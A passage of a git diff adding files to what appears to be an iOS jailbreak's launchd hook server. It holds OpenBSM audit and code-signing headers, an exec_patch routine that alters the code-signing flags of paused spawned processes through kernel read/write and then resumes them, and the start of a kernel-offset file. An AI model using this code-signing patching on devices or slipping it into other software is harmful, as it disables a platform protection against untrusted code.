+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+ * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
+ * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * $P4: //depot/projects/trustedbsd/openbsm/bsm/auditd_lib.h#4 $
+ */
+
+#ifndef _BSM_AUDIT_SESSION_H_
+#define _BSM_AUDIT_SESSION_H_
+
+#include /* Required for audit.h. */
+#include /* Required for FILE. */
+
+#include
+#include /* Required for AUE_SESSION_* event def's. */
+
+#include
+
+/* Defined audit session flags for the ai_flags member of auditinfo_addr.
+ * These are opaque to XNU itself, although some may be of interest to certain
+ * kernel extensions, notably AU_SESSION_FLAG_HAS_CONSOLE_ACCESS.
+ */
+enum audit_session_flags {
+ /* The initial session created by PID 1. */
+ AU_SESSION_FLAG_IS_INITIAL = 0x0001,
+
+ /* The graphics subsystem (CoreGraphics, etc.) is available. */
+ AU_SESSION_FLAG_HAS_GRAPHIC_ACCESS = 0x0010,
+
+ /* /dev/tty is available. */
+ AU_SESSION_FLAG_HAS_TTY = 0x0020,
+
+ /* The session was created for a remote connection. */
+ AU_SESSION_FLAG_IS_REMOTE = 0x1000,
+
+ /* The console and associated devices are available. */
+ AU_SESSION_FLAG_HAS_CONSOLE_ACCESS = 0x2000,
+
+ /* An active, authenticated user is associated with the session. */
+ AU_SESSION_FLAG_HAS_AUTHENTICATED = 0x4000,
+};
+
+/*
+ * Audit session device.
+ */
+
+#define AUDIT_SDEV_PATH "/dev/auditsessions"
+
+/*
+ * au_sdev_open() flags
+ */
+enum au_sdev_open_flags {
+ /* Set audit session device to not to block on reads. */
+ AU_SDEVF_NONBLOCK = 0x00000001,
+
+
+ /* Allow process to monitor all session. (Requires privilege.) */
+ AU_SDEVF_ALLSESSIONS = 0x00010000,
+};
+
+__BEGIN_DECLS
+/*
+ * Audit session device handle.
+ */
+typedef struct au_sdev_handle {
+ FILE *ash_fp;
+ u_char *ash_buf;
+ int ash_reclen;
+ int ash_bytesread;
+} au_sdev_handle_t;
+
+/*
+ * au_sdev_open()
+ *
+ * @summary - Open the audit session pseudo device.
+ *
+ * @param flags - Flags that change the behavior of the device. The flags
+ * specified are formed by or'ing the following flag: AU_SDEVF_NONBLOCK for
+ * non-blocking I/O and AU_SDEF_ALLSESSIONS for monitoring all the sessions
+ * and not just the session of the current process.
+ *
+ * @return Upon success returns the audit session device handle. Otherwise,
+ * NULL is returned and the errno is set to indicate the error.
+ */
+au_sdev_handle_t *au_sdev_open(int flags)
+ API_AVAILABLE(macos(10.8)) API_UNAVAILABLE(ios, watchos, tvos);
+
+/*
+ * au_sdev_close()
+ *
+ * @summary - Close the audit session pseudo device.
+ *
+ * @param ash - Audit session device handle.
+ *
+ * @return Upon successful completion 0 is returned. Otherwise, errno is set
+ * to indicate the error.
+ */
+int au_sdev_close(au_sdev_handle_t *ash)
+ API_AVAILABLE(macos(10.8)) API_UNAVAILABLE(ios, watchos, tvos);
+
+/*
+ * au_sdev_fd()
+ *
+ * @summary - Get the file descriptor for the audit session device.
+ *
+ * @param ash - Audit session device handle.
+ *
+ * @return File descriptor of the audit session device.
+ */
+int au_sdev_fd(au_sdev_handle_t *ash)
+ API_AVAILABLE(macos(10.8)) API_UNAVAILABLE(ios, watchos, tvos);
+
+/*
+ * au_sdev_read_aia()
+ *
+ * @summary - Read a session event and an auditinfo_addr record from kernel.
+ *
+ * @param ash - Audit session device handle.
+ *
+ * @param event - A pointer to an integer that will contain the event type:
+ * AUE_SESSION_START (start of a new session), AUE_SESSION_UPDATE (the
+ * session information has been changed), AUE_SESSION_END (all the processes in
+ * the session have exited), and AUE_SESSION_CLOSE (the session record has been
+ * removed from the kernel).
+ *
+ * @param aia_p - A pointer to an auditinfo_addr structure that will contain the
+ * audit session information on a successful return. The audit masks fields
+ * (ai_mask), however, does not currently contain correct informaiton.
+ *
+ * @return Upon sucessful completetion 0 is returned and the event and aia_p
+ * parameters will be populated. Otherwise, errno is set to indicate the error.
+ */
+int au_sdev_read_aia(au_sdev_handle_t *ash, int *event, auditinfo_addr_t *aia_p)
+ API_AVAILABLE(macos(10.8)) API_UNAVAILABLE(ios, watchos, tvos);
+
+__END_DECLS
+
+#endif /* !_BSM_AUDIT_SESSION_H_ */
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_uevents.h b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_uevents.h
new file mode 100644
index 00000000..79f1b761
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/audit_uevents.h
@@ -0,0 +1,144 @@
+/*-
+ * Copyright (c) 2004-2008 Apple Inc.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of Apple Inc. ("Apple") nor the names of
+ * its contributors may be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR
+ * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+ * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
+ * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * $P4: //depot/projects/trustedbsd/openbsm/bsm/audit_uevents.h#11 $
+ */
+
+#ifndef _BSM_AUDIT_UEVENTS_H_
+#define _BSM_AUDIT_UEVENTS_H_
+
+/*
+ * Solaris userspace events.
+ */
+#define AUE_at_create 6144
+#define AUE_at_delete 6145
+#define AUE_at_perm 6146
+#define AUE_cron_invoke 6147
+#define AUE_crontab_create 6148
+#define AUE_crontab_delete 6149
+#define AUE_crontab_perm 6150
+#define AUE_inetd_connect 6151
+#define AUE_login 6152
+#define AUE_logout 6153
+#define AUE_telnet 6154
+#define AUE_rlogin 6155
+#define AUE_mountd_mount 6156
+#define AUE_mountd_umount 6157
+#define AUE_rshd 6158
+#define AUE_su 6159
+#define AUE_halt 6160
+#define AUE_reboot 6161
+#define AUE_rexecd 6162
+#define AUE_passwd 6163
+#define AUE_rexd 6164
+#define AUE_ftpd 6165
+#define AUE_init 6166
+#define AUE_uadmin 6167
+#define AUE_shutdown 6168
+#define AUE_poweroff 6169
+#define AUE_crontab_mod 6170
+#define AUE_ftpd_logout 6171
+#define AUE_ssh 6172
+#define AUE_role_login 6173
+#define AUE_prof_cmd 6180
+#define AUE_filesystem_add 6181
+#define AUE_filesystem_delete 6182
+#define AUE_filesystem_modify 6183
+#define AUE_allocate_succ 6200
+#define AUE_allocate_fail 6201
+#define AUE_deallocate_succ 6202
+#define AUE_deallocate_fail 6203
+#define AUE_listdevice_succ 6205
+#define AUE_listdevice_fail 6206
+#define AUE_create_user 6207
+#define AUE_modify_user 6208
+#define AUE_delete_user 6209
+#define AUE_disable_user 6210
+#define AUE_enable_user 6211
+#define AUE_newgrp_login 6212
+#define AUE_admin_authentication 6213
+#define AUE_kadmind_auth 6214
+#define AUE_kadmind_unauth 6215
+#define AUE_krb5kdc_as_req 6216
+#define AUE_krb5kdc_tgs_req 6217
+#define AUE_krb5kdc_tgs_req_2ndtktmm 6218
+#define AUE_krb5kdc_tgs_req_alt_tgt 6219
+
+/*
+ * Historic Darwin use of the low event numbering space, which collided with
+ * the Solaris event space. Now obsoleted and new, higher, event numbers
+ * assigned to make it easier to interpret Solaris events using the OpenBSM
+ * tools.
+ */
+#define AUE_DARWIN_audit_startup 6171
+#define AUE_DARWIN_audit_shutdown 6172
+#define AUE_DARWIN_sudo 6300
+#define AUE_DARWIN_modify_password 6501
+#define AUE_DARWIN_create_group 6511
+#define AUE_DARWIN_delete_group 6512
+#define AUE_DARWIN_modify_group 6513
+#define AUE_DARWIN_add_to_group 6514
+#define AUE_DARWIN_remove_from_group 6515
+#define AUE_DARWIN_revoke_obj 6521
+#define AUE_DARWIN_lw_login 6600
+#define AUE_DARWIN_lw_logout 6601
+#define AUE_DARWIN_auth_user 7000
+#define AUE_DARWIN_ssconn 7001
+#define AUE_DARWIN_ssauthorize 7002
+#define AUE_DARWIN_ssauthint 7003
+
+/*
+ * Historic/third-party appliation allocations of event idenfiers.
+ */
+#define AUE_openssh 32800
+
+/*
+ * OpenBSM-managed application event space.
+ */
+#define AUE_audit_startup 45000 /* Darwin-specific. */
+#define AUE_audit_shutdown 45001 /* Darwin-specific. */
+#define AUE_modify_password 45014 /* Darwin-specific. */
+#define AUE_create_group 45015 /* Darwin-specific. */
+#define AUE_delete_group 45016 /* Darwin-specific. */
+#define AUE_modify_group 45017 /* Darwin-specific. */
+#define AUE_add_to_group 45018 /* Darwin-specific. */
+#define AUE_remove_from_group 45019 /* Darwin-specific. */
+#define AUE_revoke_obj 45020 /* Darwin-specific. */
+#define AUE_lw_login 45021 /* Darwin-specific. */
+#define AUE_lw_logout 45022 /* Darwin-specific. */
+#define AUE_auth_user 45023 /* Darwin-specific. */
+#define AUE_ssconn 45024 /* Darwin-specific. */
+#define AUE_ssauthorize 45025 /* Darwin-specific. */
+#define AUE_ssauthint 45026 /* Darwin-specific. */
+#define AUE_calife 45027 /* OpenBSM-allocated. */
+#define AUE_sudo 45028 /* OpenBSM-allocated. */
+#define AUE_audit_recovery 45029 /* OpenBSM-allocated. */
+#define AUE_ssauthmech 45030 /* Darwin-specific. */
+#define AUE_sec_assessment 45031 /* Darwin-specific. */
+
+#endif /* !_BSM_AUDIT_UEVENTS_H_ */
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/libbsm.h b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/libbsm.h
new file mode 100644
index 00000000..2bac16e9
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/bsm/libbsm.h
@@ -0,0 +1,378 @@
+/*-
+ * Copyright (c) 2005-2009 Apple Inc.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of Apple Inc. ("Apple") nor the names of
+ * its contributors may be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * $P4: //depot/projects/trustedbsd/openbsm/sys/bsm/audit.h#10 $
+ */
+
+#ifndef _BSM_AUDIT_H
+#define _BSM_AUDIT_H
+
+#include
+#include
+
+#define AUDIT_RECORD_MAGIC 0x828a0f1b
+#define MAX_AUDIT_RECORDS 20
+#define MAXAUDITDATA (0x8000 - 1)
+#define MAX_AUDIT_RECORD_SIZE MAXAUDITDATA
+#define MIN_AUDIT_FILE_SIZE (512 * 1024)
+
+/*
+ * Minimum noumber of free blocks on the filesystem containing the audit
+ * log necessary to avoid a hard log rotation. DO NOT SET THIS VALUE TO 0
+ * as the kernel does an unsigned compare, plus we want to leave a few blocks
+ * free so userspace can terminate the log, etc.
+ */
+#define AUDIT_HARD_LIMIT_FREE_BLOCKS 4
+
+/*
+ * Triggers for the audit daemon.
+ */
+#define AUDIT_TRIGGER_MIN 1
+#define AUDIT_TRIGGER_LOW_SPACE 1 /* Below low watermark. */
+#define AUDIT_TRIGGER_ROTATE_KERNEL 2 /* Kernel requests rotate. */
+#define AUDIT_TRIGGER_READ_FILE 3 /* Re-read config file. */
+#define AUDIT_TRIGGER_CLOSE_AND_DIE 4 /* Terminate audit. */
+#define AUDIT_TRIGGER_NO_SPACE 5 /* Below min free space. */
+#define AUDIT_TRIGGER_ROTATE_USER 6 /* User requests rotate. */
+#define AUDIT_TRIGGER_INITIALIZE 7 /* User initialize of auditd. */
+#define AUDIT_TRIGGER_EXPIRE_TRAILS 8 /* User expiration of trails. */
+#define AUDIT_TRIGGER_MAX 8
+
+/*
+ * The special device filename (FreeBSD).
+ */
+#define AUDITDEV_FILENAME "audit"
+#define AUDIT_TRIGGER_FILE ("/dev/" AUDITDEV_FILENAME)
+
+/*
+ * Pre-defined audit IDs
+ */
+#define AU_DEFAUDITID (uid_t)(-1)
+#define AU_DEFAUDITSID 0
+#define AU_ASSIGN_ASID -1
+
+/*
+ * IPC types.
+ */
+#define AT_IPC_MSG ((unsigned char)1) /* Message IPC id. */
+#define AT_IPC_SEM ((unsigned char)2) /* Semaphore IPC id. */
+#define AT_IPC_SHM ((unsigned char)3) /* Shared mem IPC id. */
+
+/*
+ * Audit conditions.
+ */
+#define AUC_UNSET 0
+#define AUC_AUDITING 1
+#define AUC_NOAUDIT 2
+#define AUC_DISABLED -1
+
+/*
+ * auditon(2) commands.
+ */
+#define A_OLDGETPOLICY 2
+#define A_OLDSETPOLICY 3
+#define A_GETKMASK 4
+#define A_SETKMASK 5
+#define A_OLDGETQCTRL 6
+#define A_OLDSETQCTRL 7
+#define A_GETCWD 8
+#define A_GETCAR 9
+#define A_GETSTAT 12
+#define A_SETSTAT 13
+#define A_SETUMASK 14
+#define A_SETSMASK 15
+#define A_OLDGETCOND 20
+#define A_OLDSETCOND 21
+#define A_GETCLASS 22
+#define A_SETCLASS 23
+#define A_GETPINFO 24
+#define A_SETPMASK 25
+#define A_SETFSIZE 26
+#define A_GETFSIZE 27
+#define A_GETPINFO_ADDR 28
+#define A_GETKAUDIT 29
+#define A_SETKAUDIT 30
+#define A_SENDTRIGGER 31
+#define A_GETSINFO_ADDR 32
+#define A_GETPOLICY 33
+#define A_SETPOLICY 34
+#define A_GETQCTRL 35
+#define A_SETQCTRL 36
+#define A_GETCOND 37
+#define A_SETCOND 38
+#define A_GETSFLAGS 39
+#define A_SETSFLAGS 40
+#define A_GETCTLMODE 41
+#define A_SETCTLMODE 42
+#define A_GETEXPAFTER 43
+#define A_SETEXPAFTER 44
+
+/*
+ * Audit policy controls.
+ */
+#define AUDIT_CNT 0x0001
+#define AUDIT_AHLT 0x0002
+#define AUDIT_ARGV 0x0004
+#define AUDIT_ARGE 0x0008
+#define AUDIT_SEQ 0x0010
+#define AUDIT_WINDATA 0x0020
+#define AUDIT_USER 0x0040
+#define AUDIT_GROUP 0x0080
+#define AUDIT_TRAIL 0x0100
+#define AUDIT_PATH 0x0200
+#define AUDIT_SCNT 0x0400
+#define AUDIT_PUBLIC 0x0800
+#define AUDIT_ZONENAME 0x1000
+#define AUDIT_PERZONE 0x2000
+
+/*
+ * Default audit queue control parameters.
+ */
+#define AQ_HIWATER 100
+#define AQ_MAXHIGH 10000
+#define AQ_LOWATER 10
+#define AQ_BUFSZ MAXAUDITDATA
+#define AQ_MAXBUFSZ 1048576
+
+/*
+ * Default minimum percentage free space on file system.
+ */
+#define AU_FS_MINFREE 20
+
+/*
+ * Type definitions used indicating the length of variable length addresses
+ * in tokens containing addresses, such as header fields.
+ */
+#define AU_IPv4 4
+#define AU_IPv6 16
+
+/*
+ * Reserved audit class mask indicating which classes are unable to have
+ * events added or removed by unentitled processes.
+ */
+#define AU_CLASS_MASK_RESERVED 0x10000000
+
+/*
+ * Audit control modes
+ */
+#define AUDIT_CTLMODE_NORMAL ((unsigned char)1)
+#define AUDIT_CTLMODE_EXTERNAL ((unsigned char)2)
+
+/*
+ * Audit file expire_after op modes
+ */
+#define AUDIT_EXPIRE_OP_AND ((unsigned char)0)
+#define AUDIT_EXPIRE_OP_OR ((unsigned char)1)
+
+__BEGIN_DECLS
+
+typedef uid_t au_id_t;
+typedef pid_t au_asid_t;
+typedef u_int16_t au_event_t;
+typedef u_int16_t au_emod_t;
+typedef u_int32_t au_class_t;
+typedef u_int64_t au_asflgs_t __attribute__ ((aligned(8)));
+typedef unsigned char au_ctlmode_t;
+
+struct au_tid {
+ dev_t port;
+ u_int32_t machine;
+};
+typedef struct au_tid au_tid_t;
+
+struct au_tid_addr {
+ dev_t at_port;
+ u_int32_t at_type;
+ u_int32_t at_addr[4];
+};
+typedef struct au_tid_addr au_tid_addr_t;
+
+struct au_mask {
+ unsigned int am_success; /* Success bits. */
+ unsigned int am_failure; /* Failure bits. */
+};
+typedef struct au_mask au_mask_t;
+
+struct auditinfo {
+ au_id_t ai_auid; /* Audit user ID. */
+ au_mask_t ai_mask; /* Audit masks. */
+ au_tid_t ai_termid; /* Terminal ID. */
+ au_asid_t ai_asid; /* Audit session ID. */
+};
+typedef struct auditinfo auditinfo_t;
+
+struct auditinfo_addr {
+ au_id_t ai_auid; /* Audit user ID. */
+ au_mask_t ai_mask; /* Audit masks. */
+ au_tid_addr_t ai_termid; /* Terminal ID. */
+ au_asid_t ai_asid; /* Audit session ID. */
+ au_asflgs_t ai_flags; /* Audit session flags. */
+};
+typedef struct auditinfo_addr auditinfo_addr_t;
+
+struct auditpinfo {
+ pid_t ap_pid; /* ID of target process. */
+ au_id_t ap_auid; /* Audit user ID. */
+ au_mask_t ap_mask; /* Audit masks. */
+ au_tid_t ap_termid; /* Terminal ID. */
+ au_asid_t ap_asid; /* Audit session ID. */
+};
+typedef struct auditpinfo auditpinfo_t;
+
+struct auditpinfo_addr {
+ pid_t ap_pid; /* ID of target process. */
+ au_id_t ap_auid; /* Audit user ID. */
+ au_mask_t ap_mask; /* Audit masks. */
+ au_tid_addr_t ap_termid; /* Terminal ID. */
+ au_asid_t ap_asid; /* Audit session ID. */
+ au_asflgs_t ap_flags; /* Audit session flags. */
+};
+typedef struct auditpinfo_addr auditpinfo_addr_t;
+
+struct au_session {
+ auditinfo_addr_t *as_aia_p; /* Ptr to full audit info. */
+ au_mask_t as_mask; /* Process Audit Masks. */
+};
+typedef struct au_session au_session_t;
+
+struct au_expire_after {
+ time_t age; /* Age after which trail files should be expired */
+ size_t size; /* Aggregate trail size when files should be expired */
+ unsigned char op_type; /* Operator used with the above values to determine when files should be expired */
+};
+typedef struct au_expire_after au_expire_after_t;
+
+/*
+ * Contents of token_t are opaque outside of libbsm.
+ */
+typedef struct au_token token_t;
+
+/*
+ * Kernel audit queue control parameters:
+ * Default: Maximum:
+ * aq_hiwater: AQ_HIWATER (100) AQ_MAXHIGH (10000)
+ * aq_lowater: AQ_LOWATER (10)
+
+/*
+ * getaudit()/setaudit() are deprecated and have been replaced with
+ * wrappers to the getaudit_addr()/setaudit_addr() syscalls above.
+ */
+
+int getaudit(struct auditinfo *)
+__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_0, __MAC_10_8,
+ __IPHONE_2_0, __IPHONE_6_0);
+int setaudit(const struct auditinfo *)
+__OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_0, __MAC_10_8,
+ __IPHONE_2_0, __IPHONE_6_0);
+#else
+
+int getaudit(struct auditinfo *);
+int setaudit(const struct auditinfo *);
+#endif /* !__APPLE__ */
+
+#ifdef __APPLE_API_PRIVATE
+#include
+mach_port_name_t audit_session_self(void);
+au_asid_t audit_session_join(mach_port_name_t port);
+int audit_session_port(au_asid_t asid, mach_port_name_t *portname);
+#endif /* __APPLE_API_PRIVATE */
+
+#endif /* defined(_KERNEL) || defined(KERNEL) */
+
+__END_DECLS
+
+#endif /* !_BSM_AUDIT_H */
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/codesign.h b/RootHelperSample/launchdshim/launchdhook/jbserver/codesign.h
new file mode 100644
index 00000000..03ceb925
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/codesign.h
@@ -0,0 +1,64 @@
+#ifndef LJB_CODESIGN_H
+#define LJB_CODESIGN_H
+
+#include
+
+/* code signing attributes of a process */
+#define CS_VALID 0x00000001 /* dynamically valid */
+#define CS_ADHOC 0x00000002 /* ad hoc signed */
+#define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */
+#define CS_INSTALLER 0x00000008 /* has installer entitlement */
+
+#define CS_FORCED_LV 0x00000010 /* Library Validation required by Hardened System Policy */
+#define CS_INVALID_ALLOWED 0x00000020 /* (macOS Only) Page invalidation allowed by task port policy */
+
+#define CS_HARD 0x00000100 /* don't load invalid pages */
+#define CS_KILL 0x00000200 /* kill process if it becomes invalid */
+#define CS_CHECK_EXPIRATION 0x00000400 /* force expiration checking */
+#define CS_RESTRICT 0x00000800 /* tell dyld to treat restricted */
+
+#define CS_ENFORCEMENT 0x00001000 /* require enforcement */
+#define CS_REQUIRE_LV 0x00002000 /* require library validation */
+#define CS_ENTITLEMENTS_VALIDATED 0x00004000 /* code signature permits restricted entitlements */
+#define CS_NVRAM_UNRESTRICTED 0x00008000 /* has com.apple.rootless.restricted-nvram-variables.heritable entitlement */
+
+#define CS_RUNTIME 0x00010000 /* Apply hardened runtime policies */
+#define CS_LINKER_SIGNED 0x00020000 /* Automatically signed by the linker */
+
+#define CS_ALLOWED_MACHO (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | \
+ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
+
+#define CS_EXEC_SET_HARD 0x00100000 /* set CS_HARD on any exec'ed process */
+#define CS_EXEC_SET_KILL 0x00200000 /* set CS_KILL on any exec'ed process */
+#define CS_EXEC_SET_ENFORCEMENT 0x00400000 /* set CS_ENFORCEMENT on any exec'ed process */
+#define CS_EXEC_INHERIT_SIP 0x00800000 /* set CS_INSTALLER on any exec'ed process */
+
+#define CS_KILLED 0x01000000 /* was killed by kernel for invalidity */
+#define CS_NO_UNTRUSTED_HELPERS 0x02000000 /* kernel did not load a non-platform-binary dyld or Rosetta runtime */
+#define CS_DYLD_PLATFORM CS_NO_UNTRUSTED_HELPERS /* old name */
+#define CS_PLATFORM_BINARY 0x04000000 /* this is a platform binary */
+#define CS_PLATFORM_PATH 0x08000000 /* platform binary by the fact of path (osx only) */
+
+#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
+#define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
+#define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
+#define CS_DATAVAULT_CONTROLLER 0x80000000 /* has Data Vault controller entitlement */
+
+#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
+
+/* csops operations */
+#define CS_OPS_STATUS 0 /* return status */
+#define CS_OPS_MARKINVALID 1 /* invalidate process */
+#define CS_OPS_MARKHARD 2 /* set HARD flag */
+#define CS_OPS_MARKKILL 3 /* set KILL flag (sticky) */
+#define CS_OPS_PIDPATH 4 /* get executable's pathname */
+#define CS_OPS_CDHASH 5 /* get code directory hash */
+#define CS_OPS_PIDOFFSET 6 /* get offset of active Mach-o slice */
+#define CS_OPS_ENTITLEMENTS_BLOB 7 /* get entitlements blob */
+#define CS_OPS_MARKRESTRICT 8 /* set RESTRICT flag (sticky) */
+#define CS_OPS_IDENTITY 11 /* get codesign identity */
+
+int csops(pid_t pid, unsigned int ops, void * useraddr, size_t usersize);
+int csops_audittoken(pid_t pid, unsigned int ops, void * useraddr, size_t usersize, audit_token_t * token);
+
+#endif
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.h b/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.h
new file mode 100644
index 00000000..54d3e5d9
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.h
@@ -0,0 +1,14 @@
+//
+// Created by Ylarod on 2024/3/15.
+//
+
+#ifndef DOPAMINE_EXEC_PATCH_H
+#define DOPAMINE_EXEC_PATCH_H
+
+#import
+
+void initSpawnExecPatch();
+void patchExecAdd(int callerPid, const char* exec_path, bool resume);
+void patchExecDel(int callerPid, const char* exec_path);
+
+#endif //DOPAMINE_EXEC_PATCH_H
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.m b/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.m
new file mode 100644
index 00000000..1a7a5c2e
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.m
@@ -0,0 +1,74 @@
+//
+// Created by Ylarod on 2024/3/15.
+//
+
+#include "exec_patch.h"
+#import
+
+#import "log.h"
+#import "kernel.h"
+#import "util.h"
+
+BOOL gSpawnExecPatchTimerSuspend;
+dispatch_queue_t gSpawnExecPatchQueue = nil;
+NSMutableDictionary *gSpawnExecPatchArray = nil;
+
+void spawnExecPatchTimer() {
+ @autoreleasepool {
+
+ for (NSNumber *processId in [gSpawnExecPatchArray copy]) {
+
+ pid_t pid = [processId intValue];
+ bool should_resume = [gSpawnExecPatchArray[processId] boolValue];
+
+ bool paused = false;
+ if (proc_paused(pid, &paused) != 0) {
+ JBLogDebug("spawnExecPatch: invalid pid: %d, total=%d", pid, gSpawnExecPatchArray.count);
+ [gSpawnExecPatchArray removeObjectForKey:processId];
+ continue;
+ } else if (paused) {
+ JBLogDebug("spawnExecPatch: patch for process: %d resume=%d, total=%d", pid, should_resume,
+ gSpawnExecPatchArray.count);
+ proc_csflags_patch(pid);
+ if (should_resume) {
+ JBLogDebug("spawnExecPatch: resume process: %d", pid);
+ kill(pid, SIGCONT);
+ }
+ [gSpawnExecPatchArray removeObjectForKey:processId];
+ continue;
+ }
+ }
+ if (gSpawnExecPatchArray.count) {
+ dispatch_async(gSpawnExecPatchQueue, ^{ spawnExecPatchTimer(); });
+ usleep(5 * 1000);
+ } else {
+ gSpawnExecPatchTimerSuspend = YES;
+ }
+
+ }
+}
+
+void initSpawnExecPatch() {
+ gSpawnExecPatchArray = [[NSMutableDictionary alloc] init];
+ gSpawnExecPatchQueue = dispatch_queue_create("spawnExecPatchQueue", DISPATCH_QUEUE_SERIAL);
+ gSpawnExecPatchTimerSuspend = YES;
+}
+
+void patchExecAdd(int callerPid, const char *exec_path, bool resume) {
+ JBLogDebug("spawnExecPatch: add exec patch: %d %s resume=%d", callerPid, exec_path, resume);
+ dispatch_async(gSpawnExecPatchQueue, ^{
+ [gSpawnExecPatchArray setObject:@(resume) forKey:@(callerPid)];
+ if (gSpawnExecPatchTimerSuspend) {
+ JBLogDebug("spawnExecPatch: wakeup spawnExecPatchTimer...");
+ dispatch_async(gSpawnExecPatchQueue, ^{ spawnExecPatchTimer(); });
+ gSpawnExecPatchTimerSuspend = NO;
+ }
+ });
+}
+
+void patchExecDel(int callerPid, const char *exec_path) {
+ JBLogDebug("spawnExecPatch: del exec patch: %d %s", callerPid, exec_path);
+ dispatch_async(gSpawnExecPatchQueue, ^{
+ [gSpawnExecPatchArray removeObjectForKey:@(callerPid)];
+ });
+}
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/info.c b/RootHelperSample/launchdshim/launchdhook/jbserver/info.c
new file mode 100644
index 00000000..42660fb2
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/info.c
@@ -0,0 +1,420 @@
+#include "info.h"
+#include "kernel.h"
+#include "machine_info.h"
+// #include "primitives.h"
+#include "../fun/krw.h"
+#include
+#include
+#include
+#include
+
+struct system_info gSystemInfo = { 0 };
+
+void jbinfo_initialize_dynamic_offsets(xpc_object_t xoffsetDict)
+{
+ SYSTEM_INFO_DESERIALIZE(xoffsetDict);
+}
+
+void jbinfo_initialize_hardcoded_offsets(void)
+{
+ struct utsname name;
+ uname(&name);
+ char *xnuVersion = name.release;
+
